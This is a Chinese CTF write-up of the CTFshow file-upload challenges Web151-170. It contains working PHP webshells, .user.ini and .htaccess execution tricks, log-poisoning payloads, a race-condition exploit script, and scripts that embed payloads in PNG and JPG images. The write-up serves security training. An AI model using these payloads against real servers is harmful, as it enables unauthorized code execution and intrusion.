CTFshow-文件上传(Web151-170)
CTFshow-文件上传(Web151-170)
参考了CTF show 文件上传篇(web151-170,看这一篇就够啦)-CSDN博客
Web151
要求png,然后上传带有一句话木马的a.png,burp抓包后改后缀为a.php,然后蚁剑连接,找flag
<?php eval($_POST['cmd']);?>
Web152
同上题
Web153
猜测内容是不是有php被识别了,还是不合规
这里我们尝试.htaccess(因为它只适用于Apache)所以不行,这里要使用.user.ini
看题解:
php.ini 是 php 的一个全局配置文件,对整个 web 服务起作用;而.user.ini 和.htaccess 一样是目录的配置文件,.user.ini 就是用户自定义的一个 php.ini,通常用这个文件来构造后门和隐藏后门。
.user.ini
原理: 指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)所以要求当前目录必须要有php文件,巧合的是这题upload目录下有个index.php所以这种方式是可以成功的。
.user.ini的作用
-
配置 PHP 设置:用户可以通过 .user.ini 文件来设置特定目录和子目录下的 PHP 配置。这些设置会覆盖全局 php.ini 的相应配置。
-
特定目录的配置:与 .htaccess 文件类似,.user.ini 文件允许特定目录的细粒度配置,而不会影响整个服务器的设置。
利用 .user.ini 绕过限制
由于 .user.ini 文件可以覆盖某些 PHP 配置,它也可能被恶意利用来绕过服务器管理员设置的限制,以下是一些可能的方式:
- 文件上传限制: 如果服务器全局设置了较低的文件上传大小限制,恶意用户可以通过 .user.ini 文件增加 upload_max_filesize 和 post_max_size,来上传更大的文件。
- 脚本执行时间:恶意用户可能会增加 max_execution_time 以避免脚本执行超时,从而进行更长时间的恶意活动,如暴力破解等。
- 内存限制:增加 memory_limit 可以帮助恶意脚本在执行时获取更多的服务器资源,可能导致拒绝服务攻击(DoS)。
- PHP 文件包含漏洞:auto_prepend_file在 PHP 中,当用户访问.user.ini所在目录主页文件时,auto_prepend_file所指向的文件内容,会自动进行包含,将文件内容当作php代码执行
首先我们编写一个".user.ini"文件
auto_prepend_file=shell.png
这串内容的意思就是,在访问主页文件时,会自动包含shell.png文件,将其文件内容当在php代码执行
所以要求当前目录必须要有php文件getflag思路:我们上传一个.user.ini 文件设置一个文件a.jpg然后访问index.php就相当于包含了a.jpg
以同样的方式上传1.txt或png(php不行)
相当于在该目录下的php文件(index.php)里插入了包含语句include(‘1.png’)
然后用 /upload/index.php
就ok了
Web154
试了半天不行,最后想是不是跟上题一样,然后就过了
注意,这里要短标签
<?= eval($_POST['cmd']);?>
Web155
同154
Web156
php中,[]可以用{}替换,[]被过滤,改成{}
Linux中通配符作用
-
星号(*)星号用于匹配任意数量的字符(包括零个字符)。
-
问号(?)问号用于匹配单个字符。
-
方括号([])方括号用于匹配方括号内的任意一个字符。ls [abc].txt:列出当前目录下所有文件名为a.txt、b.txt或c.txt的文件。
-
大括号({})大括号用于匹配大括号内的任意一个模式。mv {.jpg,.png} images/:将当前目录下所有扩展名为.jpg和.png的文件移动到images/目录。
-
感叹号(!)感叹号用于在方括号内表示排除某个字符。ls [!abc].txt:列出当前目录下所有文件名不是a.txt、b.txt或c.txt的文件。
Web157
{}也被过滤,慢慢找
先ls
然后访问upload/index.php
ls…/试试
Web158
同上题
Web159
PHP命令执行函数
-
exec():exec()执行一个外部程序,并返回最后一行输出的结果。
-
system():system()执行一个外部程序,并输出结果。返回命令的最后一行输出。
-
shell_exec():shell_exec()执行一个命令,并返回完整的输出。
-
passthru():passthru()执行一个命令,并直接输出结果到标准输出(通常是浏览器)。它与system()类似,但不会返回命令的输出。
-
popen():popen()打开一个管道到一个进程,允许读取或写入进程的标准输入/输出。
-
proc_open():proc_open()可以启动一个进程,并更多地控制其输入和输出。
-
``:PHP 也支持用反引号(``)包围命令的方式来执行命令,这是与shell中类似的语法。
<?=`nl ../fl*`?>
<?=`tac ../fl*`?>
Web160
与上题相比,这题将空格和``反引号和log过滤掉了,所以上传的时候要注意略过多余的空格,log可以用点号拼接绕过,且本题不能使用上题的方法,考虑到日志包含,先上传.user.ini
这段代码包含并输出 /var/log/nginx/access.log
文件的内容。由于包含的是一个日志文件,它的内容会直接作为PHP代码执行。
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
ua:<?=`tac ../fl*`?>
然后访问index.php
Web161
需要伪造图片头GIF89a
或者png头
使用16进制编辑器在.user.ini.png 中添加png 文件头 89 50 4E 47 0D 0A 1A 0A 1.png也添加也会成功!!
其它同上题
Web162
条件竞争是什么,简单解释一下,在文件上传中,假设存在如下流程:
- 上传文件后立即保存到服务器。
- 上传成功后进行文件格式的校验。
- 如果文件格式符合要求,则重命名该文件。
- 如果文件格式不符合要求,则删除该文件。
由于服务器在处理多个并发请求时,可能会出现以下几种情况:
访问时间点在文件上传之前:
-
此时,文件尚未上传到服务器,任何对该文件的访问请求将返回“文件不存在”。
-
访问时间点在文件上传成功后,但服务器尚未完成校验及处理:在此时间窗口内,文件已经存在于服务器上,但尚未经过格式校验。任何对该文件的访问请求将会找到文件,但由于文件格式尚未验证,可能存在安全隐患。
-
访问时间点在服务器删除文件之后:
如果文件格式不符合要求,服务器会删除该文件。此时,任何对该文件的访问请求将返回“文件不存在”。
所以,当我们上传的速度比服务器删除的速度快,我们就可以读取到我们的木马文件
上传**.user.ini**
GIF89a
auto_append_file=/tmp/sess_lh
lh可以随缘改,和后面脚本中的sess中的内容相一致即可
接下来用脚本
import requests
import threading
import re# 创建一个会话对象,保持会话的状态
session = requests.session()# 自拟的PHPSESSID,用于保持上传过程中的会话一致性
sess = 'lh'# 目标URL
url1 = "http://58830b4d-39b1-4fbc-976c-f909cd6e8988.challenge.ctf.show/"
url2 = "http://58830b4d-39b1-4fbc-976c-f909cd6e8988.challenge.ctf.show/upload"# POST请求数据,利用PHP的SESSION_UPLOAD_PROGRESS漏洞,注入恶意PHP代码
data1 = {'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>' # 使用system函数执行命令
}# 要上传的文件数据
file = {'file': '111' # 文件名可以随意设置
}# 设置会话cookie
cookies = {'PHPSESSID': sess # 上传过程中使用固定的PHPSESSID
}# 定义上传文件的函数,持续发送POST请求
def upload_file():while True:session.post(url1, data=data1, files=file, cookies=cookies)# 定义读取文件的函数,持续检查返回的页面内容
def check_flag():while True:response = session.get(url2) # 访问目标URL,检查是否能获取到flagif 'flag' in response.text: # 检查返回内容中是否包含flag# 正则匹配flag,格式为ctfshow{}flag = re.search(r'ctfshow{.+}', response.text)if flag:print(flag.group()) # 如果找到flag,打印它# 创建两个线程,一个上传文件,一个检查flag
threads = [threading.Thread(target=upload_file),threading.Thread(target=check_flag)
]# 启动所有线程
for t in threads:t.start()
Web163
同上题
Web164
之前的都用不了了,这题要求图片马
在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。
脚本:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'./1.png');
?># <?=$_GET[0]($_POST[1]);?>
这个脚本便是通过操纵 IDAT
块(图像数据块)将恶意代码插入了其中
运行这个脚本后,将生成的图片木马上传
查看图片
路径也变了
其实也正是因为他是先访问download.php这个代码,然后请求包含image,才能让我们的png图片里的php代码能被解析,否则还是需要配合.user.ini文件才能解析png图片马
这是我们图片马中包含的一句话木马,get方式拿个参数0,post方式拿个参数1
<?=$_GET[0]($_POST[1]);?>0=system 1= ls试试
如果你去抓这个get 请求的包,然后添加传参是不行的。(后面做了下一题,发现是可以在 burpsuite 里面修改请求方式的,都要使用 post 请求)
看图片后,使用 hackbar 添加参数:
get 里面新增:
&0=system
post:
1=ls
mode=raw发包
还要添加请求头:
Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded 是 HTTP 请求头中用于指定请求主体的编码格式的字段。它的作用是告诉服务器,客户端发送的数据采用 application/x-www-form-urlencoded 格式进行编码。这个格式通常用于 HTML 表单提交,特别是在使用 POST 方法时。
tac flag.php即可
Web165
JPG二次渲染,脚本
<?php/*The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processed image.1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:jpg_payload.php <jpg_name.jpg>In case of successful injection you will get a specially crafted image, which should be uploaded again.Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs "Something's wrong".If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.Sergey Bobrov @Black2Fan.See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/*/$miniPayload = "<?=eval(\$_POST[1]);?>"; //注意$转义if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}
?>
命令行运行脚本
看官解,得用特定的图片
Web166
传zip
zip追加写webshell 首先你需要上传一个zip文件,这个文件内容无所谓,但最关键的是需要将webshell写到文件末尾,此操作需要在winhex下进行。 然后直接上传你的zip文件。 利用的点就在于下载,下载时zip文件会进行文件包含,也就是include,所以你的webshell也会被包含在内,你的webshell最好别用POST要用GET。(这一步最好在BP内进) 最后直接GET请求追加参数来执行webshell即可获得flag
其实不知道原理也能做出来
Web167
.htaccess简介
.htaccess被称为超文本入口,此文件有多个功能,其中一个功能可以改变文件扩展名,同时也可以实现文件夹密码保护、用户自动重定向、自定义错误页面等功能。
首先我们编写 .htaccess文件
<FilesMatch "shell.jpg">SetHandler application/x-httpd-php
</FilesMatch>
这个大概意思是shell.jpg会被当做php文件执行
接下来我们在shell.jpg文件中插入我们的恶意代码
Web168
参考别人的题解,但是这个字典不知道在哪,先标记一下
发现过滤了很多函数,
``没被过滤
然后再tac就行
Web169
限制zip
发现上传完zip不合规,后面发现后端校验了png
还是不行,发现可能过滤了很多东西,随便传个123试试
ps:看官解的时候发现了一个新知识,直接修改这里能直接绕过前端校验,修改为files
还有一个注意点,要合理使用重发器去试错
为什么要这么做呢,有什么意义?
因为之前我们试了很多函数,都被过滤了,留下的方法那就只有日志注入,而
不安全的 include($file),允许外部用户控制 $file 路径。 攻击者操纵的日志文件(例如 /var/log/nginx/access.log)中包含了PHP 代码,而当 PHP 解释器包含这个日志文件时,PHP 代码会被执行。
想要包含日志文件,就需要user.ini,允许其被包含,而user.ini生效的条件之一就是同级目录存在一个php文件
写ua就行
Web170
同上题
上题别搞错顺序了,正常是先上传user.ini,再上传index.php,但是我把indexs和index用到一起了,可能造成误解,先上传的indexs.php只是测试用的,我混用了
图片转存中…(img-pnaUnouR-1734523388094)]
还有一个注意点,要合理使用重发器去试错
[外链图片转存中…(img-6KxloVVt-1734523388094)]
为什么要这么做呢,有什么意义?
因为之前我们试了很多函数,都被过滤了,留下的方法那就只有日志注入,而
不安全的 include($file),允许外部用户控制 $file 路径。 攻击者操纵的日志文件(例如 /var/log/nginx/access.log)中包含了PHP 代码,而当 PHP 解释器包含这个日志文件时,PHP 代码会被执行。
想要包含日志文件,就需要user.ini,允许其被包含,而user.ini生效的条件之一就是同级目录存在一个php文件
[外链图片转存中…(img-kJ0x6qfC-1734523388094)]
[外链图片转存中…(img-h1lDbBib-1734523388094)]
写ua就行
[外链图片转存中…(img-s24YQxMl-1734523388094)]
Web170
同上题
上题别搞错顺序了,正常是先上传user.ini,再上传index.php,但是我把indexs和index用到一起了,可能造成误解,先上传的indexs.php只是测试用的,我混用了
相关文章:

CTFshow-文件上传(Web151-170)
CTFshow-文件上传(Web151-170) 参考了CTF show 文件上传篇(web151-170,看这一篇就够啦)-CSDN博客 Web151 要求png,然后上传带有一句话木马的a.png,burp抓包后改后缀为a.php,然后蚁剑连接,找fl…...

深度学习基础--将yolov5的backbone模块用于目标识别会出现怎么效果呢??
🍨 本文为🔗365天深度学习训练营 中的学习记录博客🍖 原作者:K同学啊 前言 yolov5网络结构比较复杂,上次我们简要介绍了yolov5网络模块,并且复现了C3模块,深度学习基础–yolov5网络结构简介&a…...

操作系统(16)I/O软件
前言 操作系统I/O软件是负责管理和控制计算机系统与外围设备(例如键盘、鼠标、打印机、存储设备等)之间交互的软件。 一、I/O软件的定义与功能 定义:I/O软件,也称为输入/输出软件,是计算机系统中用于管理和控制设备与主…...

leetcode437.路径总和III
标签:前缀和 问题:给定一个二叉树的根节点 root ,和一个整数 targetSum ,求该二叉树里节点值之和等于 targetSum 的 路径 的数目。路径 不需要从根节点开始,也不需要在叶子节点结束,但是路径方向必须是向下…...

WebGPU、WebGL 和 OpenGL/Vulkan对比分析
WebGPU、WebGL 和 OpenGL/Vulkan 都是用于图形渲染和计算的图形API,但它们的设计理念、功能和适用场景有所不同。以下是它们的总结和对比分析: 1. WebGPU WebGPU 是一个新的、现代化的图形和计算API,设计目的是为Web平台提供更接近硬件的性…...

不可重入锁与死锁
不可重入锁确实可能导致死锁,特别是在同一线程尝试多次获取同一把锁时。如果锁是不可重入的,那么线程在第二次尝试获取锁时会永远阻塞,从而导致死锁。 不可重入锁与死锁的关系 不可重入锁不允许同一个线程多次获取同一把锁。在以下情况下&am…...

XXE-Lab靶场漏洞复现
1.尝试登录 输入账号admin/密码admin进行登录,并未有页面进行跳转 2.尝试抓包分析请求包数据 我们可以发现页面中存在xml请求,我们就可以构造我们的xml请求语句来获取想要的数据 3.构造语句 <?xml version"1.0" ?> <!DOCTYPE fo…...

从Windows到Linux:跨平台数据库备份与还原
数据库的备份与还原 目录 引言备份 2.1 备份所有数据库2.2 备份单个数据库2.3 备份多个指定数据库 传输备份文件还原 4.1 还原所有数据库4.2 还原单个数据库4.3 还原多个指定数据库 注意事项拓展 1. 引言 在不同的操作系统间进行数据库迁移时,命令行工具是我们的…...

upload-labs
Win平台靶场 靶场2 教程 教程 教程 pass-01 bash 本pass在客户端使用js对不合法图片进行检查!前端绕过, 禁用前端js代码, 或者上传图片, 抓包改后缀为 php , 后端没有校验 bash POST /Pass-01/index.php HTTP/1.1 Host: 47.122.3.214:8889 Content-Length: 49…...

【西门子PLC.博途】——面向对象编程及输入输出映射FC块
当我们做面向对象编程的时候,需要用到输入输出的映射。这样建立的变量就能够被复用,从而最大化利用了我们建立的udt对象。 下面就来讲讲映射是什么。 从本质上来说,映射就是拿实际物理对象对应程序虚拟对象,假设程序对象是I0.0&…...

牛客周赛 Round 72 题解
本次牛客最后一个线段树之前我也没碰到过,等后续复习到线段树再把那个题当例题发出来 小红的01串(一) 思路:正常模拟,从前往后遍历一遍去统计即可 #include<bits/stdc.h> using namespace std; #define int lo…...

Flux Tools 结构简析
Flux Tools 结构简析 BFL 这次一共发布了 Canny、Depth、Redux、Fill 四个 Tools 模型系列,分别对应我们熟悉的 ControlNets、Image Variation(IP Adapter)和 Inpainting 三种图片条件控制方法。虽然实现功能是相同的,但是其具体…...

0 前言
ArCS作为一个基于Rust的CAD(计算机辅助设计)开源系统,尽管已经有四年未更新,但其设计理念和技术实现仍然具有很高的学习和参考价值。以下是对ArCS项目的进一步分析和解读: 一、项目亮点与技术优势 高效与安全的Rust语…...

ARM嵌入式学习--第八天(PWM)
PWM -PWM介绍 PWM(pulse Width Modulation)简称脉宽调制,是利用微处理器的数字输出来对模拟电路进行控制的一种非常有效的技术,广泛应用在测量,通信,工控等方面 PWM的频率 是指在1秒钟内,信号从…...

遇到“REMOTE HOST IDENTIFICATION HAS CHANGED!”(远程主机识别已更改)的警告
连接虚拟机时提示报错: [insocoperhq-soc-cap-raw3 ~]$ ssh root10.99.141.104WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! Someone could be eavesdropping on you right now (man-in-the-midd…...

vue3前端组件库的搭建与发布(一)
前言: 最近在做公司项目中,有这么一件事情,很是头疼,就是同一套代码,不同项目,要改相同bug,改好多遍,改的都想吐,于是就想做一个组件库,这样更新一下就全都可…...

COMSOL快捷键及内置函数
文章目录 COMSOL快捷键使用COMSOL算子求最大值和最小值COMSOL内置函数3.1 解析函数3.2 插值函数3.3 分段函数3.4 高斯脉冲函数3.5 斜坡函数3.6 矩形函数3.7 波形函数3.8 随机函数3.9 Matlab函数3.10 SWITCH函数 COMSOL快捷键 Ctrl+/ 可快速打开预定义的物理量列表。…...

HUAWEI-eNSP交换机链路聚合(手动负载分担模式)
配置思路:HUAWEI交换机链路聚合有LACP模式跟手动负载分担模式,本文主打手动负载分担模式:首先交换机-PC之间划分基本vlan,交换机-交换机之间创建链路聚合组,划分端口至链路聚合分组(缺省模式为手动负载分担模式)。结果验证要求同vlan可以ping通,关闭某个聚合端口后仍可…...

番外篇 | Hyper-YOLO:超图计算与YOLO架构相结合成为目标检测新的SOTA !
前言:Hello大家好,我是小哥谈。Hyper-YOLO,该方法融合了超图计算以捕捉视觉特征之间复杂的高阶关联。传统的YOLO模型虽然功能强大,但其颈部设计存在局限性,限制了跨层特征的融合以及高阶特征关系的利用。Hyper-YOLO在骨干和颈部的联合增强下,成为一个突破性的架构。在COC…...

【MATLAB第109期】基于MATLAB的带置信区间的RSA区域敏感性分析方法,无目标函数
【MATLAB第108期】基于MATLAB的带置信区间的RSA区域敏感性分析方法,无目标函数 参考第64期文章【MATLAB第64期】【保姆级教程】基于MATLAB的SOBOL全局敏感性分析模型运用(含无目标函数,考虑代理模型) 创新点: 1、采…...

Bootstrap 表格
Bootstrap 表格 引言 Bootstrap 是一个流行的前端框架,它提供了一套丰富的工具和组件,用于快速开发响应式和移动设备优先的网页。在本文中,我们将重点讨论 Bootstrap 中的表格组件,包括其基本结构、样式以及如何使用 Bootstrap …...

【论文阅读】Computing the Testing Error without a Testing Set
https://blog.csdn.net/qq_40021158/article/details/109485216 可以使用测试集来估计训练集和测试集之间的性能差距,但是要避免过度拟合测试数据几乎是不可能的。 使用隔离的测试集可能会解决此问题,但这需要不断更新数据集,这是一项非常昂贵…...

Visio——同一个工程导出的PDF文件大小不一样的原因分析
现象 在不同电脑,导出来的PDF文件大小不一样。 原因分析 文件小的未将字体嵌入,文件大的已经将字体嵌入了。...

【ETCD】ETCD 架构揭秘:内部各组件概览
ETCD 的主要组件及它们之间的关联关系如下: 目录 1. Client(客户端)2. gRPC 接口3. Etcd Server Main Loop(ETCD 主循环)4. Raft(共识模块)5. Peer Etcd Nodes(ETCD 集群节点&#x…...

Qt WORD/PDF(四)使用 QAxObject 对 Word 替换(QWidget)
关于QT Widget 其它文章请点击这里: QT Widget 国际站点 GitHub: https://github.com/chenchuhan 国内站点 Gitee : https://gitee.com/chuck_chee 姊妹篇: Qt WORD/PDF(一)使用 QtPdfium库实现 PDF 操作 Qt WORD/PDF(二…...

音视频学习(二十四):hls协议
基本原理 HLS协议通过将视频文件切分成多个小的媒体段(通常是10秒左右的.ts文件),并通过HTTP传输给客户端。视频播放过程中,客户端按顺序请求这些小段文件来逐步播放整个视频流。HLS还支持多种码率,以便适应不同网络条…...

UniDepth 学习笔记
摘要 准确的单目度量深度估计(MMDE)是解决三维感知和建模中下游任务的关键。然而,最近的MMDE方法的显著准确性仅限于其训练领域。这些方法存在适度的域间隙,也不能推广到看不见的域,这阻碍了它们的实际适用性。本文提出…...

PVE——OpenWRT 硬盘 size单位的调整
问题:初始状态为120MB 还需要进行计算,如果通过图形界面添加磁盘会出现单位不变的情况。 进入命令行前记得给你的虚拟机拍照,防止误操作 通过ssh 进入PVE命令行 按需添加容量即可 不到1G 会显示M 超过1G 不是G整数均为M单位。 …...

Android-ImagesPickers 拍照崩溃优化
Android-ImagesPickers 作为老牌图片选择器,帮助了很多牛马宝宝,刚好最近用到了多相册选择以及拍照,可能是高版本机型问题,导致拍照后就闪退 原作者文章以及git Android实用视图动画及工具系列之九:漂亮的图片选择器…...

Linux dd 命令详解:工作原理与实用指南(C/C++代码实现)
这段代码是一个模仿 Linux dd 命令的工具,它用于在不同文件之间复制数据。dd 是一个非常强大的命令行工具,可以用于数据备份、转换和复制。下面我将详细解释这段代码的原理、实现方式以及如何运行和测试。 Linux dd 命令的工作原理 dd 命令是 Unix 和 …...